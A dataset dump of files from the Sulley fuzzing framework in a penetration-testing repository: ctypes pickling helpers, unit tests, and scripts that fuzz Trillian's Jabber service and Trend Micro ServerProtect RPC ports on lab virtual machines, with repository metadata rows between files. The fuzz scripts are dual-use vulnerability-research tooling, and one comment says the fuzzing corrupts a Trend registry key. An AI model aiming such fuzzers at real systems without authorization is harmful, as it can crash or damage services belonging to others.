SW_SHOW = 0x00000005 THREAD_ALL_ACCESS = 0x001F03FF TOKEN_ADJUST_PRIVILEGES = 0x00000020 # for NtSystemDebugControl() SysDbgReadMsr = 16 SysDbgWriteMsr = 17
5,923
Python
.py
150
36.713333
119
0.625109
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,892
my_ctypes.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/my_ctypes.py
#!c:\python\python.exe # # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: my_ctypes.py 194 2007-04-05 15:31:53Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # # Many thanks to Thomas Heller, for both his efforts in developing the c_types library and for his assistance with # getting c_types to cooperate with cPickle. # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' from ctypes import * ######################################################################################################################## def _construct (typ, raw_bytes): ''' This routine is called by _reduce for unmarshaling purposes. The object type is used to instantiate a new object of the desired type. The raw bytes are then directly written into the address space of the newly instantiated object via the ctypes routines memmove() and addressof(). @type typ: Class object @param typ: The class type of the object we are unmarshaling. @type raw_bytes: Raw bytes (in a string buffer) @param raw_bytes: The raw bytes @rtype: Mixed @return: Unmarshaled object. ''' obj = typ.__new__(typ) memmove(addressof(obj), raw_bytes, len(raw_bytes)) return obj ######################################################################################################################## def _reduce (self): ''' cPickle will allow an object to marshal itself if the __reduce__ function is defined. Because cPickle is unable to handle ctype primitives or the objects derived on those primitives we define this function that later is assigned as the __reduce__ method for all types. This method relies on _construct for unmarshaling. As per the Python docs __reduce__ must return a tuple where the first element is "A callable object that will be called to create the initial version of the object. The next element of the tuple will provide arguments for this callable...". In this case we pass the object class and the raw data bytes of the object to _construct. @rtype: Tuple @return: Tuple, as specified per the cPickle __reduce__ Python docs. ''' return (_construct, (self.__class__, str(buffer(self)))) ######################################################################################################################## c_types = (Structure, c_char, c_byte, c_ubyte, c_short, c_ushort, c_int, c_uint, c_long, c_ulong, c_longlong, \ c_ulonglong, c_float, c_double, c_char_p, c_wchar_p, c_void_p) # for each ctype we need to marshal, set it's __reduce__ routine. for typ in c_types: typ.__reduce__ = _reduce
3,418
Python
.py
63
51.174603
120
0.650794
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,893
fuzz_trillian_jabber.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/archived_fuzzies/fuzz_trillian_jabber.py
#!c:\\python\\python.exe # # pedram amini <pamini@tippingpoint.com> # # on vmware: # cd shared\sulley\branches\pedram # network_monitor.py -d 1 -f "src or dst port 5298" -p audits\trillian_jabber # process_monitor.py -c audits\trillian_jabber.crashbin -p trillian.exe # # on localhost: # vmcontrol.py -r "c:\Progra~1\VMware\VMware~1\vmrun.exe" -x "v:\vmfarm\images\windows\xp\win_xp_pro-clones\allsor~1\win_xp_pro.vmx" --snapshot "sulley ready and waiting" # # note: # you MUST register the IP address of the fuzzer as a valid MDNS "presence" host. to do so, simply install and # launch trillian on the fuzz box with rendezvous enabled. otherwise the target will drop the connection. # from sulley import * from requests import jabber def init_message (sock): init = '<?xml version="1.0" encoding="UTF-8" ?>\n' init += '<stream:stream to="152.67.137.126" xmlns="jabber:client" xmlns:stream="http://etherx.jabber.org/streams">' sock.send(init) sock.recv(1024) sess = sessions.session(session_filename="audits/trillian.session") target = sessions.target("152.67.137.126", 5298) target.netmon = pedrpc.client("152.67.137.126", 26001) target.procmon = pedrpc.client("152.67.137.126", 26002) target.vmcontrol = pedrpc.client("127.0.0.1", 26003) target.procmon_options = { "proc_name" : "trillian.exe" } # start up the target. target.vmcontrol.restart_target() print "virtual machine up and running" sess.add_target(target) sess.pre_send = init_message sess.connect(sess.root, s_get("chat message")) sess.fuzz()
1,618
Python
.py
36
43.305556
174
0.702857
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,894
fuzz_trend_server_protect_5168.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/archived_fuzzies/fuzz_trend_server_protect_5168.py
#!c:\\python\\python.exe # # pedram amini <pamini@tippingpoint.com> # # on vmware: # cd shared\sulley\branches\pedram # process_monitor.py -c audits\trend_server_protect_5168.crashbin -p SpntSvc.exe # network_monitor.py -d 1 -f "src or dst port 5168" -p audits\trend_server_protect_5168 # # on localhost: # vmcontrol.py -r "c:\Progra~1\VMware\VMware~1\vmrun.exe" -x "v:\vmfarm\images\windows\2000\win_2000_pro-clones\TrendM~1\win_2000_pro.vmx" --snapshot "sulley ready and waiting" # # this key gets written which fucks trend service even on reboot. # HKEY_LOCAL_MACHINE\SOFTWARE\TrendMicro\ServerProtect\CurrentVersion\Engine # # uncomment the req/num to do a single test case. # import time from sulley import * from requests import trend req = num = None #req = "5168: op-3" #num = "\x04" def rpc_bind (sock): bind = utils.dcerpc.bind("25288888-bd5b-11d1-9d53-0080c83a5c2c", "1.0") sock.send(bind) utils.dcerpc.bind_ack(sock.recv(1000)) def do_single (req, num): import socket # connect to the server. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.181.133", 5168)) # send rpc bind. rpc_bind(s) request = s_get(req) while 1: if request.names["subs"].value == num: break s_mutate() print "xmitting single test case" s.send(s_render()) print "done." def do_fuzz (): sess = sessions.session(session_filename="audits/trend_server_protect_5168.session") target = sessions.target("192.168.181.133", 5168) target.netmon = pedrpc.client("192.168.181.133", 26001) target.procmon = pedrpc.client("192.168.181.133", 26002) target.vmcontrol = pedrpc.client("127.0.0.1", 26003) target.procmon_options = \ { "proc_name" : "SpntSvc.exe", "stop_commands" : ['net stop "trend serverprotect"'], "start_commands" : ['net start "trend serverprotect"'], } # start up the target. target.vmcontrol.restart_target() print "virtual machine up and running" sess.add_target(target) sess.pre_send = rpc_bind sess.connect(s_get("5168: op-1")) sess.connect(s_get("5168: op-2")) sess.connect(s_get("5168: op-3")) sess.connect(s_get("5168: op-5")) sess.connect(s_get("5168: op-a")) sess.connect(s_get("5168: op-1f")) sess.fuzz() print "done fuzzing. web interface still running." if not req or not num: do_fuzz() else: do_single(req, num)
2,497
Python
.py
71
31.028169
180
0.671244
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,895
fuzz_trend_control_manager_20901.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/archived_fuzzies/fuzz_trend_control_manager_20901.py
#!c:\\python\\python.exe # # pedram amini <pamini@tippingpoint.com> # # this was a really half assed fuzz. someone should take it further, see my notes in the requests file for more info. # from sulley import * from requests import trend ######################################################################################################################## sess = sessions.session(session_filename="audits/trend_server_protect_20901.session", sleep_time=.25, log_level=10) sess.add_target(sessions.target("192.168.181.2", 20901)) sess.connect(s_get("20901")) sess.fuzz()
579
Python
.py
13
43.230769
120
0.603203
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,896
legos.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/unit_tests/legos.py
from sulley import * def run (): tag() ndr_string() ber() # clear out the requests. blocks.REQUESTS = {} blocks.CURRENT = None ######################################################################################################################## def tag (): s_initialize("UNIT TEST TAG 1") s_lego("tag", value="pedram") req = s_get("UNIT TEST TAG 1") print "LEGO MUTATION COUNTS:" print "\ttag: %d" % req.num_mutations() ######################################################################################################################## def ndr_string (): s_initialize("UNIT TEST NDR 1") s_lego("ndr_string", value="pedram") req = s_get("UNIT TEST NDR 1") # XXX - unfinished! #print req.render() ######################################################################################################################## def ber (): s_initialize("UNIT TEST BER 1") s_lego("ber_string", value="pedram") req = s_get("UNIT TEST BER 1") assert(s_render() == "\x04\x84\x00\x00\x00\x06\x70\x65\x64\x72\x61\x6d") s_mutate() assert(s_render() == "\x04\x84\x00\x00\x00\x00\x70\x65\x64\x72\x61\x6d") s_initialize("UNIT TEST BER 2") s_lego("ber_integer", value=0xdeadbeef) req = s_get("UNIT TEST BER 2") assert(s_render() == "\x02\x04\xde\xad\xbe\xef") s_mutate() assert(s_render() == "\x02\x04\x00\x00\x00\x00") s_mutate() assert(s_render() == "\x02\x04\x00\x00\x00\x01")
1,500
Python
.py
38
35.026316
120
0.458305
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,897
blocks.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/unit_tests/blocks.py
from sulley import * def run (): groups_and_num_test_cases() dependencies() repeaters() return_current_mutant() exhaustion() # clear out the requests. blocks.REQUESTS = {} blocks.CURRENT = None ######################################################################################################################## def groups_and_num_test_cases (): s_initialize("UNIT TEST 1") s_size("BLOCK", length=4, name="sizer") s_group("group", values=["\x01", "\x05", "\x0a", "\xff"]) if s_block_start("BLOCK"): s_delim(">", name="delim") s_string("pedram", name="string") s_byte(0xde, name="byte") s_word(0xdead, name="word") s_dword(0xdeadbeef, name="dword") s_qword(0xdeadbeefdeadbeef, name="qword") s_random(0, 5, 10, 100, name="random") s_block_end() # count how many mutations we get per primitive type. req1 = s_get("UNIT TEST 1") print "PRIMITIVE MUTATION COUNTS:" print "\tdelim: %d" % req1.names["delim"].num_mutations() print "\tstring: %d" % req1.names["string"].num_mutations() print "\tbyte: %d" % req1.names["byte"].num_mutations() print "\tword: %d" % req1.names["word"].num_mutations() print "\tdword: %d" % req1.names["dword"].num_mutations() print "\tqword: %d" % req1.names["qword"].num_mutations() print "\tsizer: %d" % req1.names["sizer"].num_mutations() # we specify the number of mutations in a random field, so ensure that matches. assert(req1.names["random"].num_mutations() == 100) # we specify the number of values in a group field, so ensure that matches. assert(req1.names["group"].num_mutations() == 4) # assert that the number of block mutations equals the sum of the number of mutations of its components. assert(req1.names["BLOCK"].num_mutations() == req1.names["delim"].num_mutations() + \ req1.names["string"].num_mutations() + \ req1.names["byte"].num_mutations() + \ req1.names["word"].num_mutations() + \ req1.names["dword"].num_mutations() + \ req1.names["qword"].num_mutations() + \ req1.names["random"].num_mutations()) s_initialize("UNIT TEST 2") s_group("group", values=["\x01", "\x05", "\x0a", "\xff"]) if s_block_start("BLOCK", group="group"): s_delim(">", name="delim") s_string("pedram", name="string") s_byte(0xde, name="byte") s_word(0xdead, name="word") s_dword(0xdeadbeef, name="dword") s_qword(0xdeadbeefdeadbeef, name="qword") s_random(0, 5, 10, 100, name="random") s_block_end() # assert that the number of block mutations in request 2 is len(group.values) (4) times that of request 1. req2 = s_get("UNIT TEST 2") assert(req2.names["BLOCK"].num_mutations() == req1.names["BLOCK"].num_mutations() * 4) ######################################################################################################################## def dependencies (): s_initialize("DEP TEST 1") s_group("group", values=["1", "2"]) if s_block_start("ONE", dep="group", dep_values=["1"]): s_static("ONE" * 100) s_block_end() if s_block_start("TWO", dep="group", dep_values=["2"]): s_static("TWO" * 100) s_block_end() assert(s_render().find("TWO") == -1) s_mutate() assert(s_render().find("ONE") == -1) ######################################################################################################################## def repeaters (): s_initialize("REP TEST 1") if s_block_start("BLOCK"): s_delim(">", name="delim", fuzzable=False) s_string("pedram", name="string", fuzzable=False) s_byte(0xde, name="byte", fuzzable=False) s_word(0xdead, name="word", fuzzable=False) s_dword(0xdeadbeef, name="dword", fuzzable=False) s_qword(0xdeadbeefdeadbeef, name="qword", fuzzable=False) s_random(0, 5, 10, 100, name="random", fuzzable=False) s_block_end() s_repeat("BLOCK", min_reps=5, max_reps=15, step=5) data = s_render() length = len(data) s_mutate() data = s_render() assert(len(data) == length + length * 5) s_mutate() data = s_render() assert(len(data) == length + length * 10) s_mutate() data = s_render() assert(len(data) == length + length * 15) s_mutate() data = s_render() assert(len(data) == length) ######################################################################################################################## def return_current_mutant (): s_initialize("RETURN CURRENT MUTANT TEST 1") s_dword(0xdeadbeef, name="boss hog") s_string("bloodhound gang", name="vagina") if s_block_start("BLOCK1"): s_string("foo", name="foo") s_string("bar", name="bar") s_dword(0x20) s_block_end() s_dword(0xdead) s_dword(0x0fed) s_string("sucka free at 2 in morning 7/18", name="uhntiss") req1 = s_get("RETURN CURRENT MUTANT TEST 1") # calculate the length of the mutation libraries dynamically since they may change with time. num_str_mutations = req1.names["foo"].num_mutations() num_int_mutations = req1.names["boss hog"].num_mutations() for i in xrange(1, num_str_mutations + num_int_mutations - 10 + 1): req1.mutate() assert(req1.mutant.name == "vagina") req1.reset() for i in xrange(1, num_int_mutations + num_str_mutations + 1 + 1): req1.mutate() assert(req1.mutant.name == "foo") req1.reset() for i in xrange(num_str_mutations * 2 + num_int_mutations + 1): req1.mutate() assert(req1.mutant.name == "bar") req1.reset() for i in xrange(num_str_mutations * 3 + num_int_mutations * 4 + 1): req1.mutate() assert(req1.mutant.name == "uhntiss") req1.reset() ######################################################################################################################## def exhaustion (): s_initialize("EXHAUSTION 1") s_string("just wont eat", name="VIP") s_dword(0x4141, name="eggos_rule") s_dword(0x4242, name="danny_glover_is_the_man") req1 = s_get("EXHAUSTION 1") num_str_mutations = req1.names["VIP"].num_mutations() # if we mutate string halfway, then exhaust, then mutate one time, we should be in the 2nd primitive for i in xrange(num_str_mutations/2): req1.mutate() req1.mutant.exhaust() req1.mutate() assert(req1.mutant.name == "eggos_rule") req1.reset() # if we mutate through the first primitive, then exhaust the 2nd, we should be in the 3rd for i in xrange(num_str_mutations + 2): req1.mutate() req1.mutant.exhaust() req1.mutate() assert(req1.mutant.name == "danny_glover_is_the_man") req1.reset() # if we exhaust the first two primitives, we should be in the third req1.mutant.exhaust() req1.mutant.exhaust() assert(req1.mutant.name == "danny_glover_is_the_man")
7,326
Python
.py
159
38.138365
120
0.547626
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,898
primitives.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/unit_tests/primitives.py
from sulley import * def run (): signed_tests() string_tests() fuzz_extension_tests() # clear out the requests. blocks.REQUESTS = {} blocks.CURRENT = None ######################################################################################################################## def signed_tests (): s_initialize("UNIT TEST 1") s_byte(0, format="ascii", signed=True, name="byte_1") s_byte(0xff/2, format="ascii", signed=True, name="byte_2") s_byte(0xff/2+1, format="ascii", signed=True, name="byte_3") s_byte(0xff, format="ascii", signed=True, name="byte_4") s_word(0, format="ascii", signed=True, name="word_1") s_word(0xffff/2, format="ascii", signed=True, name="word_2") s_word(0xffff/2+1, format="ascii", signed=True, name="word_3") s_word(0xffff, format="ascii", signed=True, name="word_4") s_dword(0, format="ascii", signed=True, name="dword_1") s_dword(0xffffffff/2, format="ascii", signed=True, name="dword_2") s_dword(0xffffffff/2+1, format="ascii", signed=True, name="dword_3") s_dword(0xffffffff, format="ascii", signed=True, name="dword_4") s_qword(0, format="ascii", signed=True, name="qword_1") s_qword(0xffffffffffffffff/2, format="ascii", signed=True, name="qword_2") s_qword(0xffffffffffffffff/2+1, format="ascii", signed=True, name="qword_3") s_qword(0xffffffffffffffff, format="ascii", signed=True, name="qword_4") req = s_get("UNIT TEST 1") assert(req.names["byte_1"].render() == "0") assert(req.names["byte_2"].render() == "127") assert(req.names["byte_3"].render() == "-128") assert(req.names["byte_4"].render() == "-1") assert(req.names["word_1"].render() == "0") assert(req.names["word_2"].render() == "32767") assert(req.names["word_3"].render() == "-32768") assert(req.names["word_4"].render() == "-1") assert(req.names["dword_1"].render() == "0") assert(req.names["dword_2"].render() == "2147483647") assert(req.names["dword_3"].render() == "-2147483648") assert(req.names["dword_4"].render() == "-1") assert(req.names["qword_1"].render() == "0") assert(req.names["qword_2"].render() == "9223372036854775807") assert(req.names["qword_3"].render() == "-9223372036854775808") assert(req.names["qword_4"].render() == "-1") ######################################################################################################################## def string_tests (): s_initialize("STRING UNIT TEST 1") s_string("foo", size=200, name="sized_string") req = s_get("STRING UNIT TEST 1") assert(len(req.names["sized_string"].render()) == 3) # check that string padding and truncation are working correctly. for i in xrange(0, 50): s_mutate() assert(len(req.names["sized_string"].render()) == 200) ######################################################################################################################## def fuzz_extension_tests (): import shutil # backup existing fuzz extension libraries. try: shutil.move(".fuzz_strings", ".fuzz_strings_backup") shutil.move(".fuzz_ints", ".fuzz_ints_backup") except: pass # create extension libraries for unit test. fh = open(".fuzz_strings", "w+") fh.write("pedram\n") fh.write("amini\n") fh.close() fh = open(".fuzz_ints", "w+") fh.write("deadbeef\n") fh.write("0xc0cac01a\n") fh.close() s_initialize("EXTENSION TEST") s_string("foo", name="string") s_int(200, name="int") s_char("A", name="char") req = s_get("EXTENSION TEST") # these should be here now. assert(0xdeadbeef in req.names["int"].fuzz_library) assert(0xc0cac01a in req.names["int"].fuzz_library) # these should not as a char is too small to store them. assert(0xdeadbeef not in req.names["char"].fuzz_library) assert(0xc0cac01a not in req.names["char"].fuzz_library) # these should be here now. assert("pedram" in req.names["string"].fuzz_library) assert("amini" in req.names["string"].fuzz_library) # restore existing fuzz extension libraries. try: shutil.move(".fuzz_strings_backup", ".fuzz_strings") shutil.move(".fuzz_ints_backup", ".fuzz_ints") except: pass
4,385
Python
.py
92
42.391304
120
0.570291
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,899
generate_epydocs.bat
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/docs/generate_epydocs.bat
c:\Python\python.exe c:\Python\Scripts\epydoc.py -o Sulley --css blue --name "Sulley: Fuzzing Framework" --url "http://pedram.openrce.org" ..\sulley
148
Python
.py
1
148
148
0.722973
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)